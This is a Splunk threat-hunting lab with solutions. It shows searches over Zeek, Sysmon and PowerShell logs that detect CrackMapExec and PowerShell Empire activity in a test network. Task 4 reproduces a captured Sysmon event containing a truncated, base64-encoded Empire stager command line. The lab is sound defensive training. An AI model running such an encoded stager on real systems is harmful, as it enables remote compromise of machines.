

Hunting with Splunk (Lab 5)

LAB 17.5

Scenario

The IT Security manager has now tasked you, the only Threat hunter, with performing a hunt for the offensive framework [CrackMapExec](#). The internal penetration team has already generated CrackMapExec activity that will help you validate your hypotheses.

Zeek, Windows Security, Sysmon and PowerShell logs are available for this lab.

Goals

The learning objective of this lab is increase familiarity of doing a hands-on analysis with Splunk.

What you will learn

You will learn how to utilize available network and host-based logs to detect abnormal activity.

Recommended tools

- Splunk
- Use Firefox browser to connect to Splunk's web interface (**http://demo.ine.local:8000**)

Tasks

Task 1. Have any files been transferred over SMB?

Begin by studying [T1105](#) and create a detection search in Splunk.

Hint: Focus on Zeek logs, *sourcetype* "zeek_files" and *sourcetype* "zeek_smb_files", (specifically those with action of "SMB::FILE_OPEN"). For the most important fields please refer to <https://docs.zeek.org/en/current/>

Task 2. Has the suspected attacker machine connected to the victim?

Study [T1187](#) and hunt for relevant activity that may link successful remote connections.

Hint: Focus on Zeek logs, *sourcetype* "zeek_ntlm".

Task 3. Have windows admin shares be accessed remotely?

Study [T1077](#) and hunt for relevant activity.

Hint: Focus on Zeek logs, *sourcetype* "zeek_smb_mapping".

Task 4. Has PowerShell Empire agent been executed on the victim machine?

Hunt for PowerShell activity.

Hint: Focus on Sysmon and PowerShell logs for this hunt.

Task 5. Hunt for self-signed certificates

Hunt for self-signed certificates, since attackers usually utilize such certificates for convenience.

Hint: Focus on Zeek logs, *sourcetype* "zeek_ssl".

SOLUTIONS

Below, you can find solutions for each task. Remember though, that you can follow your own strategy, which may be different from the one explained in the following lab.

Task 1. Have any files been transferred over SMB?

To identify certain type of network traffic, we'll utilize Zeek's logs. The ones we are interested in for this task are those with sourcetype of "zeek_files". Zeek logs will provide hashes for transferred files, so we should take this into account during our hunt as well. Utilizing that information, we construct the following query:

`index=zeek sourcetype="zeek_files" SMB | spath "rx_hosts{}" | table rx_hosts{}, tx_hosts{}, filename, md5, sha1`

Once the query is executed, we get the following match:

index=zeek sourcetype="zeek_files" SMB | spath "rx_hosts{}" | table rx_hosts{}, tx_hosts{}, filename, md5, sha1

Last 24 hours

4 events (2/29/20 2:00:00.000 PM to 3/1/20 2:45:20.000 PM)

No Event Sampling

Job

||

Verbose Mode

Events (4)

Patterns

Statistics (4)

Visualization

50 Per Page

Format

Preview

rx_hosts{}	tx_hosts{}	filename	md5	sha1
192.168.1.32	192.168.1.34	\vogZRi.bat	0bf7234f6b702cea1a75b5b73b204d20	86e2fc61eaec7462206f78450de47e7389d479b9
192.168.1.32	192.168.1.34	\UxSCZt.bat	741ad6c1becf9e351906360f50e27f9a	949465cc012e8766c820f32fc0a129a8c132306a
192.168.1.32	192.168.1.34	\YaiREW.bat	9dd44227e683d81ad021383584801e09	6d4fb222614b194c9238c7ed653175a74799010a
192.168.1.34	192.168.1.32	SYSTEM32\ddfBrvef.tmp		

We can clearly see that some odd, 6 character and randomly named files were detected.

We can further enrich this by looking at Zeek logs with sourcetype of "zeek_smb_files", and specifically those with action of "SMB::FILE_OPEN". We then construct the following query:

`index=zeek sourcetype=zeek_smb_files action="SMB::FILE_OPEN" | table id.resp_h, id.resp_p, id.orig_h, id.orig_p, action, name`

Once executed, we get the following match result:

index=zeek sourcetype=zeek_smb_files action="SMB::FILE_OPEN" table id.resp_h, id.resp_p, id.orig_h, id.orig_p, action, name						Last 24 hours	
✓ 9 events (2/29/20 3:00:00.000 PM to 3/1/20 3:13:01.000 PM) No Event Sampling Job ■ → 🖨 ↓ Verbose Mode							
Events (9) Patterns Statistics (9) Visualization							
50 Per Page Format Preview							
id.resp_h	id.resp_p	id.orig_h	id.orig_p	action	name		
192.168.1.34	445	192.168.1.32	49338	SMB::FILE_OPEN	\FnfHgE		
192.168.1.34	445	192.168.1.32	49338	SMB::FILE_OPEN	\vogZRi.bat		
192.168.1.34	445	192.168.1.32	49331	SMB::FILE_OPEN	\UxSCZt.bat		
192.168.1.34	445	192.168.1.32	49329	SMB::FILE_OPEN	\YaiREW.bat		
192.168.1.34	445	192.168.1.32	49329	SMB::FILE_OPEN	\aScyVR		
192.168.1.34	445	192.168.1.32	49329	SMB::FILE_OPEN	\YaiREW.bat		
192.168.1.32	445	192.168.1.34	55600	SMB::FILE_OPEN	SYSTEM32\ddfBrvef.tmp		
192.168.1.32	445	192.168.1.34	55600	SMB::FILE_OPEN	\winreg		
192.168.1.32	445	192.168.1.34	55600	SMB::FILE_OPEN	\svcctl		

Now we can see that those files were accessed remotely. From this we can suspect that 192.168.1.32 is the victim that connects to 192.168.1.34 on port 445.

The 6 character and randomly-named filenames of shares are one of the distinguishing artefacts that is linked to CrackMapExec v4.0 and 5.0.

Task 2. Has the suspected attacker machine connected to the victim?

For this task, we'll use Zeek logs again, specifically those with sourcetype "zeek_ntlm". Simply, we will list all logs in a defined table output format with the query:

```
index=zeek sourcetype=zeek_ntlm | table id.resp_h, id.resp_p, id.orig_h, id.orig_p, domainname, success, username
```

Once executed, we get the following:

index=zeek sourcetype=zeek_ntlm table id.resp_h, id.resp_p, id.orig_h, id.orig_p, domainname, success, username						Last 24 hours	
✓ 32 events (2/29/20 3:00:00.000 PM to 3/1/20 3:20:38.000 PM) No Event Sampling ▾ Job ▾ ⏏ ⏏ ➔ 📄 ⬇ Verbose Mode ▾							
Events (32) Patterns Statistics (32) Visualization							
50 Per Page ▾ Format Preview ▾							
id.resp_h	id.resp_p	id.orig_h	id.orig_p	domainname	success	username	
192.168.1.32	445	192.168.1.34	55652	WS-0002	true	Administrator	
192.168.1.32	135	192.168.1.34	60704	WS-0002		Administrator	
192.168.1.32	135	192.168.1.34	60702	WS-0002		Administrator	
192.168.1.32	445	192.168.1.34	55646	WS-0002	true	Administrator	
192.168.1.32	445	192.168.1.34	55644	WS-0002	true	Administrator	

We can see that 192.168.1.34 has connected successfully to 192.168.1.32 with the account "Administrator" (NTLM authentication, which is often generated by connecting remotely over SMB with plain text password or performing pass the hash).

Task 3. Have windows admin shares be accessed remotely?

For this task again, we'll look again Zeek logs again, specifically those with sourcetype "zeek_smb_mapping". Simply, we will list all logs in a defined table output format with the query:

index=zeek sourcetype="zeek_smb_mapping" | table id.resp_h, id.resp_p, id.orig_h, id.orig_p, path, share_type

Once executed, we get the following:

index=zeek sourcetype="zeek_smb_mapping" table id.resp_h, id.resp_p, id.orig_h, id.orig_p, path, share_type						Last 24 hours	
✓ 23 events (2/29/20 3:00:00.000 PM to 3/1/20 3:24:47.000 PM) No Event Sampling ▾ Job ▾ ⏏ ⏏ ➔ 📄 ⬇ Verbose Mode ▾							
Events (23) Patterns Statistics (23) Visualization							
50 Per Page ▾ Format Preview ▾							
id.resp_h	id.resp_p	id.orig_h	id.orig_p	path	share_type		
192.168.1.32	445	192.168.1.34	55652	\\192.168.1.32\IPC\$	PIPE		
192.168.1.32	445	192.168.1.34	55646	\\192.168.1.32\IPC\$	PIPE		
192.168.1.34	445	192.168.1.32	49338	\\192.168.1.34\RLCJU	DISK		
192.168.1.34	445	192.168.1.32	49338	\\192.168.1.34\IPC\$	PIPE		
192.168.1.32	445	192.168.1.34	55634	\\192.168.1.32\IPC\$	PIPE		
192.168.1.32	445	192.168.1.34	55632	\\192.168.1.32\IPC\$	PIPE		

It appears that 192.168.1.34 has created multiple connections to the IPC\$ share of 192.168.1.32. This is expected behavior when executing commands over SMB on a remote machine.

Task 4. Has PowerShell Empire agent been executed on the victim machine?

For this task, we'll utilize Sysmon logs, specifically whether a process was started with suspicious command line argument that contains "powershell.", which is generated by default in Empire agents. We will use the following query to search for "powershell":

index=* powershell

Once executed, among a list of matched events, we'll see this one:

```
3/1/20    <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><
2:16:21.000 PM Provider Name='Microsoft-Windows-Sysmon' Guid='{5770385F-C22A-43E0-BF4C-06F569
8FFBD9}' /><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task>
<Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated System
Time='2020-03-01T22:16:21.505358200Z' /><EventRecordID>6448</EventRecordID><Cor
relation /><Execution ProcessID='1624' ThreadID='1500' /><Channel>Microsoft-Wind
ows-Sysmon/Operational</Channel><Computer>WS-0002</Computer><Security UserID
='S-1-5-18' /></System><EventData><Data Name='UtcTime'>2020-03-01 22:16:21.489
</Data><Data Name='ProcessGuid'>{58439593-3435-5E5C-0000-0010E5191800}</Data><
Data Name='ProcessId'>468</Data><Data Name='Image'>C:\Windows\System32\Windows
PowerShell\v1.0\powershell.exe</Data><Data Name='FileVersion'>10.0.14409.1005
(rs1_srvoob.161208-1155)</Data><Data Name='Description'>Windows PowerShell</Da
ta><Data Name='Product'>Microsoft® Windows® Operating System</Data><Data Name
='Company'>Microsoft Corporation</Data><Data Name='CommandLine'>powershell -n
oP -sta -w 1 -enc SQBGACgAJABQAFMAVgBFAFIAUwBpAG8AbgBUAEEAQgBMAGUALgBQAFMAVgB
IAHIAcWBJAE8ATgAuAE0AQQBqAG8AUgAgAC0AZwBIAcAMwApAHsAJABHAFaARgA9AFsAUgBLAGYAX
QAuAEEAcwBTAGUATQBIAEwAWQAUAEcARQBUAFAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4
AYQBNAGUAbOBLAG4AdAAuAEEAdOB0AG8AbOBhAHQAaQBvAG4ALgBVAHQAAaQBSAHMAJwApAC4AIgBHA
```

If we go forward and decode the obfuscated command, we will indeed note that this matches Empire's stager.

We could also look into PowerShell ScriptBlock logs with Event ID 4104, that will display captured PowerShell activity. A simple query and looking for those that contain "Warning" in them already provides a wealth of potentially malicious obfuscated commands:

index=* "eventcode=4104" Warning

Last 24 hours

✓ 10 events (2/29/20 3:00:00.000 PM to 3/1/20 3:52:41.000 PM) No Event Sampling Job || | ↻ 🖨 ⬇️ 🗨 Verbose Mode

Events (10) Patterns Statistics Visualization

Format Timeline — Zoom Out + Zoom to Selection × Deselect 1 hour per column

< Hide Fields

≡ All Fields

SELECTED FIELDS

a ComputerName 1

EventCode 1

a Message 10

INTERESTING FIELDS

EventType 2

a host 1

a index 1

a Keywords 1

List

Format

50 Per Page

i	Time	Event
>	3/1/20 2:16:21.000 PM	... 2 lines omitted ... SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=WS-0002 Show all 19 lines ComputerName = WS-0002 EventCode = 4104 Message = Creating Scriptblock text (1 of 1): IF(\$PSVERSIONTABLE.PSVersion.Major -ge 3){...

Task 5. Hunt for self-signed certificates

An interesting indicator of compromise is the existence of self-signed SSL certificates in your environment (of course your organization will have to adopt using certificates signed by trusted entities for this hunting technique to have a meaning)

The below Splunk search can reveal self-signed SSL certificates or certificates with multiple empty fields. Both can be used as an alarm.

```
index=zeek sourcetype=zeek_ssl |table cipher, curve, client_cert_chain_fuids, client_issuer, client_subject, C, version, subject, validation_status
```

New Search

Save AsClose

index=zeek sourcetype="zeek_ssl" |table cipher, curve, client_cert_chain_fuids, client_issuer, client_subject, C, version, subject, validation_status

All time

3 events (before 3/21/20 3:23:56.000 PM)No Event Sampling

JobPauseRefreshPrintDownloadVerbose Mode

Events (3)PatternsStatistics (3)Visualization

50 Per PageFormatPreview

cipher	curve	client_cert_chain_fuids	client_issuer	client_subject	C	version	subject	validation_status
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA	secp256r1					TLSv12	C=US	self signed certificate
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA	secp256r1					TLSv12	C=US	self signed certificate
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256	x25519					TLSv12	CN=settings-win.data.microsoft.com,OU=WSE,O=Microsoft,L=Redmond,ST=WA,C=US	unable to get local issuer certificate

If you look carefully enough, you will identify that the self-signed certificate is related to the attacking host we found during the previous tasks!

KEY TAKEWAYS

- 1. Robust detection rules are required to perform high quality hunts
- 2. Combining network and host-based activity provides greater visibility into the actions performed and helps to identify adversary actions that may be hard (or impossible) by looking at only one source.